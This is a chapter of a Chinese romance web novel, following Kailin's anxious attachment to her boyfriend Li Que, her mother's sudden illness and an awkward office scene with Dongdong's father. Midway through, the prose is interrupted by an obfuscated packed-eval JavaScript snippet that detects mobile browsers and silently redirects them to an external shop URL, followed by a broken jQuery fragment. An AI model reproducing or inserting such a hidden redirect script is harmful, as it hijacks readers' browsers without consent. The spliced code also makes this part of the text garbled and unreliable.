“小叔、别为难自己人啊。这可是钱,谁也怕担责,回头我给老徐说,让他签字签快些。”
财务部的小何瞬间松了口气,几乎是感恩戴德地看向凯琳。
徐工也算识趣,没在为难,送他出去的时候,电梯里冬冬忍不住提醒:“这是公司,没事少来。”
“你这是嫌我给你丢人了?” 徐工不服气地哼了一声。
冬冬懒得跟他多说,出了电梯,前台小姑娘礼貌地颔首:“您慢走。”
徐工本性难移,嬉皮笑脸凑了上去:“面生啊?来多久了?”
“没…… 没多久。” 小姑娘被他问得有些局促。
“我是工程部的,以后有事尽管找我。对了,加个联系方式呗?我下次找徐总,先问你一声他在不在,也省得白跑一趟,你说是不是?”
冬冬在一旁气得脸都沉了,直接上前打断:“谁告诉你,徐总的行程可以随便透露?”
前台小姑娘有些委屈,左也不是右也不是,她也不想被徐工这样的人缠住。
他也敷衍的撇了一眼徐冬冬,摆摆手:“你送到这就行了,回去做事吧。”
“你还不走。”
“走了走了,”徐工走前冲着前台姑娘财大气粗的表演了一番:“我可以给你想要的一切,想换个岗位的话记得告诉我,听话,记得添加哈。”
这话?...凯琳一声叹息,仿佛被拉回了某个难以言说的场景。
冬冬对着前台又警告了一句:“不许加,下次他再来,直接给我打电话。”
望着他的背影,冬冬愤愤地啐了一句:“真是狗改不了吃屎。”
凯琳拉了拉冬冬的衣服:“走了,别气了,他就这德行。”
“我怎么会有这么个爸。”
冬冬的声音沉得发闷,凯琳一眼就看见她眼眶微微泛红,带着一丝强忍的湿意。
“我的好冬冬,我请你喝咖啡好不好,别气了。”
为了晚上的聚餐,凯琳特意回家换了一身衣服。
下楼等李确的时候,沈青扶额坐在沙发旁。
“李确一会儿来接你吗?”
“嗯、”凯琳往沈青的旁边靠,轻声问:“妈妈,你看起来脸色很不好。”
“没事,可能着凉了有些头晕。”
“真的没事吗?”凯琳有些担心。
沈青摸了摸她的头,勉强笑了笑:“妈妈还能骗你?”
“我不放心,爸爸什么时候回来?”她说着拿起手机就要给老徐打电话。
”别打扰他。“沈青连忙按住她的手。
“算了我不去了,我扶你回房休息。”
凯琳拿起手机准备给李确发消息。
“去吧,陪他一起,我真没事。”
沈青想让她放心,可刚站起来,那股昏厥劲儿上来,整个人如抽丝剥茧般瘫下,好在她扶的及时。
“妈!你别吓我啊!” 凯琳慌了神,立刻抓过手机,“我马上给爸爸打电话!”
“别打,就是头晕,睡会儿就好了。”
她的声音有些紧张:“好、那你就在沙发躺着,我去给你拿被子。”
凯琳刚回房间李确电话就打了过来:“我不去了,你自己去吧。”
李确那边立刻察觉不对,声音沉了几分:“怎么了?”
“我妈妈不舒服,我在家陪她。”
电话那头顿了半秒,语气果断:“我现在过来。”
“不用,你去吧。“
“我不放心。”
“我说了不用,“凯琳轻轻咬了咬唇:”你去吧、”凯琳又补了一句:”不可以喝酒,回家了马上给我打电话。”
“我知道,那我早点回来。”
可是到了很晚,凯琳打了很多电话,李确都没有接。
第二天他回过来的电话里,声音里裹着浓重的宿醉沙哑。
“对不起,我也不知道怎么就睡着了……” 李确小心翼翼地试探着她的语气。
凯琳的声音很淡,听不出情绪:“你在哪?”
“在家,阿姨好些了吗?”
“嗯。”
“别担心,我一会儿过来陪你。”
“你没有说清楚昨晚为什么不接电话,就不要过来,我有点生气。”
“别闹了,我真不知道什么时候就睡着了,记不太清了。” 他头疼得厉害,语气也有些疲惫。
“那你怎么回去的?”
“陈康送的吧,对不起,是我不好,让你担心了。”
“我很担心你。”凯琳想哭,认识他以后,眼泪总是不听话。
“我的错,我马上过来,乖。”
凯琳总觉得心绪不宁,沈青也看得出来:“你啊,不要把人看的太紧了。”
“妈妈,他一晚上都没有接我电话。”
沈青轻轻握住她的手,语气温柔却认真:“凯琳,你答应妈妈,不要爱的那么彻底,每个人都有自己的生活,我们不能依附任何人,也不要去绑住任何人。”
李确一直到下午才过来。
她还困在情绪里,带着怨声:“你为什么才来?”
“凯琳、”沈青出声制止:“妈妈给你说的你都忘了吗?”
“阿姨,你好点了吗?”李确没有马上安慰她,而是看向沈青。
“我没事。你们聊吧,好好说话,”
沈青回了房间,不等凯琳开口,李确就上去抱着她:“是我错,我不该让你担心。”
凯琳只是盯着他,然后目光奇怪的,在他的身上探寻着。
李确很无奈:“凯琳,按照一个正常人的逻辑来说,真要做了什么,是不会留下蛛丝马迹的。”但他却享受被她极致的占有:“好了,我给你检查,仔仔细细地,让你看。”
一直到晚上,李确准备起身回去,凯琳却拉住了他,说不清是舍不得还是心里的气还没消,小声又执拗地说:“我不要你走。”
“凯琳。”沈青是真的拿她没办法。
凯琳头也不回:“妈妈你不要说话。”
李确看出她不是任性闹脾气,眼底没有平日的执拗,只有一种怕 —— 怕他一转身就再也抓不住的慌乱。
他心一软,轻声应下:“好,我留下。”
一直守着她,等凯琳彻底睡熟了,才轻手轻脚退出房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646923|206805||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
第二天李确起的有些早,去看了一眼那个还在熟睡的人,终究没忍住,在她额前落下一个轻吻。一丝说不清的亲密感在心底拉扯,让他难得变得柔软感性。可这份失控也让他立刻警醒 —— 这样的情绪太危险,他的工作,本就不允许这般沉溺。
李确离开时,沈青叫住他,让他吃完早饭再走。
“阿姨,我爸妈今天会来江北,我等下要去接他们。” 他顿了顿,语气郑重了几分,“中午,我们一起吃个饭吧。”
“好。” 沈青答应得格外爽快,像是一件悬在心里许久的事终于落了地,“可惜你叔叔出差了,要后天才能回来,不然他一定很高兴和你父母见面的。”
“以后会有很多机会。”
“那你快点吃,别耽误正事,一会儿你去忙,凯琳醒了我带她过去。”
“不用,晚点我来接你们。”
“别来回折腾了。”沈青犹豫了一下:“要不,你接凯琳就可以了,第一次见面,我准备一下吧,回头司机送我就可以了。”
李确应了一声,简单吃了几口早餐,便匆匆离开了。
凯琳睡得很沉,像是陷进了一场无边无际的长梦里。
梦里下着大雨、很大的雨,身体坠入深海,她想挣扎,一道粉色的身影缓缓朝她游来。那身影庞大得可怖,在它面前,她渺小得像一粒细沙,连呼吸都带着颤抖。她拼命想逃,可对方只是轻轻垂了垂眼,那飘散在水中的发丝便如同有了生命,疯了一般缠上她的四肢,越收越紧。窒息的恐慌瞬间将她吞没,她猛地从梦里惊醒,胸口剧烈起伏,浑身脱力般疲惫。
窗外天色阴沉沉的,和梦里的压抑如出一辙。
她很想李确,可心底的不安与依赖,还是让她迫切想听见他的声音。
看了一眼手机,已经十点多,他应该不在家了。
电话拨出,他接的很快:“我做噩梦了李确,”她的声音哑哑地,很委屈。
“别怕,我一会儿就来接你。“
“你可以快点吗?”
“嗯,等我。”
“那我现在就起床。”
凯琳已经换好衣服,安安静静坐在沙发上等他。她拿起手机,看到沈青的来电,立刻接起:“妈妈,你去哪了?”
“醒啦?中午不是要见李确的父母吗,我出来买点东西,刚好碰到林珂,晚点他送我去酒店。你在家乖乖等李确来接你,听到没?”
“知道了。”
是梦的原因吗?凯琳总觉得心里堵堵的,很难受,她下意识往窗外看去,阴沉沉地,让人想躲起来。
李确的车子停在门外,随着车门打开的动静,凯琳跑了出去,她甚至没有去看清来人,只是循着有可能是他在的方向,扑了上去。
“我好怕。”
李确轻轻拍着她的背,柔声问:“怎么了,还是因为噩梦吗?”
她睡得并不好,眼角还带着倦意,没多说什么,只是轻轻靠向他。
“傻瓜,别怕,吃完饭下午我陪你。”
“嗯。”
她应得很轻,温顺又黏人,像一只受了惊、只想赖着主人的小猫。